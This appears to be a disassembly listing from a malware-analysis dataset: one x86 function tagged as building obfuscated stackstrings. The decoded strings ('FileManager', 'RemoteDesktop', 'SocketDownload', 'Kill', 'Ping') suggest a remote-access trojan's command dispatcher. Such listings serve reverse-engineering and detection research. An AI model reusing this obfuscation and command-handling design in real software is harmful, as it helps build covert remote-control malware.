Function at 0x1001bed0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004738f
mov eax, dword fs:[0]
push eax
sub esp, 0x178
mov eax, dword [0x1005a280]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x184], eax
lea eax, [ebp - 0x3d]
sub eax, ecx
mov dword [ebp - 0x48], 0x656c6946
mov dword [ebp - 0x44], 0x616e614d
mov word [ebp - 0x40], 0x6567
mov byte [ebp - 0x3e], 0x72
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x15c], eax
je 0x1001bf85
push eax
lea ecx, [ebp - 0x154]
call fcn.100117d0
push dword [ebp - 0x15c]
mov esi, dword [ebp - 0x154]
lea eax, [ebp - 0x48]
push eax
push esi
call fcn.100291e0
mov eax, dword [ebp - 0x15c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x150], eax
lea ecx, [ebp - 0x98]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x8b]
mov dword [ebp - 0x98], 0x6f6d6552
sub eax, ecx
mov dword [ebp - 0x94], 0x65446574
mov dword [ebp - 0x90], 0x6f746b73
mov byte [ebp - 0x8c], 0x70
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x15c], eax
je 0x1001c01b
push eax
lea ecx, [ebp - 0x148]
call fcn.100117d0
push dword [ebp - 0x15c]
mov esi, dword [ebp - 0x148]
lea eax, [ebp - 0x98]
push eax
push esi
call fcn.100291e0
mov eax, dword [ebp - 0x15c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x144], eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 1
lea eax, [ebp - 0x26]
mov dword [ebp - 0x30], 0x65696c43
sub eax, ecx
mov dword [ebp - 0x2c], 0x6e49746e
mov word [ebp - 0x28], 0x6f66
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x15c], eax
je 0x1001c094
push eax
lea ecx, [ebp - 0x13c]
call fcn.100117d0
push dword [ebp - 0x15c]
mov esi, dword [ebp - 0x13c]
lea eax, [ebp - 0x30]
push eax
push esi
call fcn.100291e0
mov eax, dword [ebp - 0x15c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x138], eax
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 2
lea eax, [ebp - 0x4a]
mov dword [ebp - 0x58], 0x6b636f53
sub eax, ecx
mov dword [ebp - 0x54], 0x6f447465
mov dword [ebp - 0x50], 0x6f6c6e77
mov word [ebp - 0x4c], 0x6461
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x15c], eax
je 0x1001c114
push eax
lea ecx, [ebp - 0x130]
call fcn.100117d0
push dword [ebp - 0x15c]
mov esi, dword [ebp - 0x130]
lea eax, [ebp - 0x58]
push eax
push esi
call fcn.100291e0
mov eax, dword [ebp - 0x15c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x12c], eax
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 3
lea eax, [ebp - 0x32]
mov dword [ebp - 0x3c], 0x63736944
sub eax, ecx
mov dword [ebp - 0x38], 0x656e6e6f
mov word [ebp - 0x34], 0x7463
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x15c], eax
je 0x1001c18d
push eax
lea ecx, [ebp - 0x124]
call fcn.100117d0
push dword [ebp - 0x15c]
mov esi, dword [ebp - 0x124]
lea eax, [ebp - 0x3c]
push eax
push esi
call fcn.100291e0
mov eax, dword [ebp - 0x15c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x120], eax
lea ecx, [ebp - 0x160]
mov byte [ebp - 4], 4
lea eax, [ebp - 0x15c]
mov dword [ebp - 0x160], 0x676e6950
sub eax, ecx
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x15c], eax
je 0x1001c205
push eax
lea ecx, [ebp - 0x118]
call fcn.100117d0
push dword [ebp - 0x15c]
mov esi, dword [ebp - 0x118]
lea eax, [ebp - 0x160]
push eax
push esi
call fcn.100291e0
mov eax, dword [ebp - 0x15c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x114], eax
lea ecx, [ebp - 0x164]
mov byte [ebp - 4], 5
lea eax, [ebp - 0x160]
mov dword [ebp - 0x164], 0x676e6f50
sub eax, ecx
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x15c], eax
je 0x1001c27d
push eax
lea ecx, [ebp - 0x10c]
call fcn.100117d0
push dword [ebp - 0x15c]
mov esi, dword [ebp - 0x10c]
lea eax, [ebp - 0x164]
push eax
push esi
call fcn.100291e0
mov eax, dword [ebp - 0x15c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x108], eax
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 6
lea eax, [ebp - 0x164]
mov dword [ebp - 0x168], 0x6c6c694b
sub eax, ecx
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0x15c], eax
je 0x1001c2f5
push eax
lea ecx, [ebp - 0x100]
call fcn.100117d0
push dword [ebp - 0x15c]
mov esi, dword [ebp - 0x100]
lea eax, [ebp - 0x168]
push eax
push esi
call fcn.100291e0
mov eax, dword [ebp - 0x15c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0xfc], eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 7
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 0x65636552
sub eax, ecx
mov dword [ebp - 0x20], 0x64657669
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov dword [ebp - 0x15c], eax
je 0x1001c368
push eax
lea ecx, [ebp - 0xf4]
call fcn.100117d0
push dword [ebp - 0x15c]
mov esi, dword [ebp - 0xf4]
lea eax, [ebp - 0x24]
push eax
push esi
call fcn.100291e0
mov eax, dword [ebp - 0x15c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0xf0], eax
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 8
lea eax, [ebp - 0x62]
mov dword [ebp - 0x88], 0x3832307b
sub eax, ecx
mov dword [ebp - 0x84], 0x37323042
mov dword [ebp - 0x80], 0x44302d34
mov dword [ebp - 0x7c], 0x342d3331
mov dword [ebp - 0x78], 0x2d333435
mov dword [ebp - 0x74], 0x41364438
mov dword [ebp - 0x70], 0x3541312d
mov dword [ebp - 0x6c], 0x37424533
mov dword [ebp - 0x68], 0x32373346
mov word [ebp - 0x64], 0x7d33
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0x15c], eax
je 0x1001c41e
push eax
lea ecx, [ebp - 0xe8]
call fcn.100117d0
push dword [ebp - 0x15c]
mov esi, dword [ebp - 0xe8]
lea eax, [ebp - 0x88]
push eax
push esi
call fcn.100291e0
mov eax, dword [ebp - 0x15c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0xe4], eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 9
lea eax, [ebp - 0x17]
mov dword [ebp - 0x1c], 0x6f727245
sub eax, ecx
mov byte [ebp - 0x18], 0x72
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0x15c], eax
je 0x1001c48e
push eax
lea ecx, [ebp - 0xdc]
call fcn.100117d0
push dword [ebp - 0x15c]
mov esi, dword [ebp - 0xdc]
lea eax, [ebp - 0x1c]
push eax
push esi
call fcn.100291e0
mov eax, dword [ebp - 0x15c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0xd8], eax
lea eax, [ebp - 0x155]
mov dword [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0xd0]
push ecx
lea edx, [ebp - 0x154]
push edx
lea ecx, [ebp - 0x180]
call fcn.10010740
push fcn.100016c0
push 0xb
push 0xc
lea eax, [ebp - 0x154]
mov byte [ebp - 4], 0xc
push eax
call fcn.10027912
push 0x18
call fcn.10027895
add esp, 4
mov dword [ebp - 0x15c], eax
mov byte [ebp - 4], 0xd
test eax, eax
je 0x1001c4fc
xorps xmm0, xmm0
mov ecx, eax
movups xmmword [eax], xmm0
movq qword [eax + 0x10], xmm0
call fcn.100054c0
mov esi, eax
jmp 0x1001c4fe
xor esi, esi
mov dword [ebp - 0x15c], esi
push dword [ebp - 0x184]
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 0xe
push eax
mov ecx, esi
call fcn.10024020
mov eax, dword [str.______]
xorps xmm0, xmm0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x60], eax
mov ax, word [0x1004adf8]
mov dword [ebp - 0x50], 6
mov dword [ebp - 0x4c], 0xf
mov word [ebp - 0x5c], ax
mov byte [ebp - 0x5a], 0
lea eax, [ebp - 0x60]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0xd0]
mov ecx, esi
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.10024670
mov ecx, dword [ebp - 0x4c]
mov byte [ebp - 4], 0x12
cmp ecx, 0xf
jbe 0x1001c59c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c592
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001caef
push ecx
push edx
call fcn.100278c5
add esp, 8
mov eax, dword [ebp - 0x174]
mov ecx, esi
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
cmp dword [eax + 0x10], 0
mov byte [ebp - 4], 0x13
je 0x1001c955
push dword [ebp - 0x180]
lea eax, [ebp - 0xa0]
push eax
call fcn.100244e0
push eax
push dword [ebp - 0x174]
call fcn.10018890
mov ecx, dword [ebp - 0x8c]
add esp, 8
mov byte [ebp - 0x155], al
cmp ecx, 0xf
jbe 0x1001c62b
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c61b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001caf4
push ecx
push edx
call fcn.100278c5
mov al, byte [ebp - 0x155]
add esp, 8
test al, al
je 0x1001c677
push 0xe8
call fcn.10027895
mov esi, eax
add esp, 4
test esi, esi
je 0x1001c667
push 0xe8
push 0
push esi
call fcn.10029940
add esp, 0xc
mov ecx, esi
call fcn.10018a80
push eax
lea ecx, [edi + 4]
call fcn.1001e550
jmp 0x1001c92c
xor eax, eax
lea ecx, [edi + 4]
push eax
call fcn.1001e550
jmp 0x1001c92c
mov eax, dword [ebp - 0x180]
mov ecx, esi
add eax, 0x18
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.100244e0
push eax
push dword [ebp - 0x174]
call fcn.10018890
add esp, 8
mov byte [ebp - 0x155], al
lea ecx, [ebp - 0xb8]
call fcn.10001670
cmp byte [ebp - 0x155], 0
je 0x1001c700
push 0xc4
call fcn.10027895
mov esi, eax
add esp, 4
test esi, esi
je 0x1001c6f0
push 0xc4
push 0
push esi
call fcn.10029940
add esp, 0xc
mov ecx, esi
call fcn.10019890
push eax
lea ecx, [edi + 0xc]
call fcn.1001e5e0
jmp 0x1001c92c
xor eax, eax
lea ecx, [edi + 0xc]
push eax
call fcn.1001e5e0
jmp 0x1001c92c
mov eax, dword [ebp - 0x180]
mov ecx, esi
add eax, 0xc
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.100244e0
push eax
push dword [ebp - 0x174]
call fcn.10018890
add esp, 8
mov byte [ebp - 0x155], al
lea ecx, [ebp - 0xb8]
call fcn.10001670
cmp byte [ebp - 0x155], 0
je 0x1001c783
push 0x64
call fcn.10027895
mov esi, eax
add esp, 4
test esi, esi
je 0x1001c773
push 0x64
push 0
push esi
call fcn.10029940
add esp, 0xc
mov ecx, esi
call fcn.10019780
push eax
lea ecx, [edi + 8]
call fcn.1001e580
jmp 0x1001c92c
xor eax, eax
lea ecx, [edi + 8]
push eax
call fcn.1001e580
jmp 0x1001c92c
mov eax, dword [ebp - 0x180]
mov ecx, esi
add eax, 0x24
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.100244e0
push eax
push dword [ebp - 0x174]
call fcn.10018890
add esp, 8
mov byte [ebp - 0x155], al
lea ecx, [ebp - 0xb8]
call fcn.10001670
cmp byte [ebp - 0x155], 0
je 0x1001c80a
push 0x88
call fcn.10027895
mov esi, eax
add esp, 4
test esi, esi
je 0x1001c7fb
push 0x88
push 0
push esi
call fcn.10029940
add esp, 0xc
mov ecx, esi
call fcn.100197f0
push eax
mov ecx, edi
call fcn.1001e5b0
jmp 0x1001c92c
xor eax, eax
mov ecx, edi
push eax
call fcn.1001e5b0
jmp 0x1001c92c
mov eax, dword [ebp - 0x180]
mov ecx, esi
add eax, 0x3c
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.100244e0
push eax
push dword [ebp - 0x174]
call fcn.10018890
add esp, 8
mov byte [ebp - 0x155], al
lea ecx, [ebp - 0xb8]
call fcn.10001670
cmp byte [ebp - 0x155], 0
jne 0x1001c91a
mov eax, dword [ebp - 0x180]
mov ecx, esi
add eax, 0x48
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.100244e0
push eax
push dword [ebp - 0x174]
call fcn.10018890
add esp, 8
mov byte [ebp - 0x155], al
lea ecx, [ebp - 0xb8]
call fcn.10001670
cmp byte [ebp - 0x155], 0
je 0x1001c898
lea ecx, [edi + 0x40]
jmp 0x1001c91d
mov eax, dword [ebp - 0x180]
mov ecx, esi
add eax, 0x78
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.100244e0
push eax
push dword [ebp - 0x174]
call fcn.10018890
add esp, 8
mov byte [ebp - 0x155], al
lea ecx, [ebp - 0xb8]
call fcn.10001670
cmp byte [ebp - 0x155], 0
jne 0x1001c91a
mov eax, dword [ebp - 0x180]
mov ecx, esi
add eax, 0x6c
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.100244e0
push eax
push dword [ebp - 0x174]
call fcn.10018890
add esp, 8
mov byte [ebp - 0x155], al
lea ecx, [ebp - 0xb8]
call fcn.10001670
cmp byte [ebp - 0x155], 0
je 0x1001c92c
lea ecx, [edi + 0x28]
mov eax, dword [ebp - 0x174]
add eax, 0x18
push eax
call fcn.100199f0
mov eax, dword [ebp - 0x174]
lea ecx, [edi + 0x10]
cmp ecx, eax
je 0x1001c9dd
mov edx, eax
cmp dword [edx + 0x14], 0xf
jbe 0x1001c947
mov eax, dword [eax]
push dword [edx + 0x10]
push eax
call fcn.10008db0
jmp 0x1001c9d7
mov eax, dword [ebp - 0x180]
add eax, 0x78
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.100244e0
mov esi, eax
lea eax, [edi + 0x10]
cmp eax, esi
je 0x1001c99d
mov ecx, eax
call fcn.10001670
movups xmm0, xmmword [esi]
movups xmmword [edi + 0x10], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [edi + 0x20], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0xf
jbe 0x1001c9d7
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c9cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001caf9
push ecx
push edx
call fcn.100278c5
add esp, 8
mov eax, dword [ebp - 0x174]
add eax, 0x18
mov ecx, edi
push eax
call fcn.1001cb10
lea ecx, [ebp - 0x174]
mov byte [ebp - 0x155], al
call fcn.1001e4d0
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0xf
jbe 0x1001ca33
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001ca29
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001cafe
push ecx
push edx
call fcn.100278c5
add esp, 8
lea ecx, [ebp - 0x15c]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
call fcn.10005d00
lea ecx, [ebp - 0x180]
call fcn.10008bd0
mov al, byte [ebp - 0x155]
jmp 0x1001cad1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100278e1
mov esp, ebp
pop ebp
ret 4
call fcn.1002caaf
call fcn.1002caaf
call fcn.1002caaf
call fcn.1002caaf
int3